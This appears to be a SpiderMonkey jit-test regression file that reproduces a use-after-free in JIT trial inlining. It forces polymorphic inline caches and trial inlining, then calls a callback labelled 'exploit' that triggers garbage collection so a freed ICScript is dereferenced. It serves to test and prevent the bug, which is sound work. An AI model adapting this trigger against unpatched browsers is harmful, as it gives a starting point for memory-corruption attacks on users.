Source code
Revision control
Copy as Markdown
Other Tools
// |jit-test| --ion-warmup-threshold=100000
var callback = null;
// Constructor that will be trial-inlined.
// Needs polymorphic ICs so ShouldUseMonomorphicInlining returns false
// (ensuring trial inlining is used instead of monomorphic inlining).
function Inner(flag) {
// polymorphic: different shapes based on flag
if (flag) {
this.a = 1;
}
this.val = 2;
this.extra = 3;
// Callback to trigger exploit while Inner is on the stack
if (callback) {
var cb = callback;
callback = null;
cb();
}
}
// Different constructor to make the IC polymorphic
function Other() {
this.w = 1;
}
// Outer function containing the call site that will be trial-inlined
function outer(Ctor, flag) {
return new Ctor(flag);
}
// Phase 1: Make Inner's own ICs polymorphic
// This ensures ShouldUseMonomorphicInlining returns false for Inner
for (var i = 0; i < 30; i++) {
new Inner(true);
new Inner(false);
}
// Warm up Other so it has a JIT entry
for (var i = 0; i < 30; i++) {
new Other();
}
// Phase 2: Warm up the callback path in Inner's baseline code
function dummy() { }
for (var i = 0; i < 20; i++) {
callback = dummy;
new Inner(true);
}
callback = null;
// Phase 3: Warm up outer() to trigger trial inlining of Inner
for (var i = 0; i < 900; i++) {
outer(Inner, true);
}
// Phase 4: Exploit function - called from Inner's callback
function exploit() {
// Make the call site polymorphic by calling with a different constructor.
// This triggers:
// - A new CacheIR stub is attached for Other
// - The IC transitions to Failure state
// - removeInlinedChild is called → ICScript removed from inlinedChildren_
// but still owned by InliningRoot's inlinedScripts_ vector
// - The old CallInlinedFunction stub remains in the IC chain
outer(Other, true);
// This call goes through the old CallInlinedFunction stub.
// The stub enters CreateThisFromIC → allocation triggers GC → UAF
gczeal(14, 1);
outer(Inner, true);
}
// Phase 5: Trigger the exploit
// Call Inner directly (not through outer) so Inner's BaselineJS frame is on the stack.
// This is critical: Inner being on the stack prevents its JitScript from being released
// during GC (maybeReleaseJitScript checks for active frames). Without this, Inner's
// baseline code would be freed, and the freed ICScript would never be dereferenced.
callback = exploit;
new Inner(true);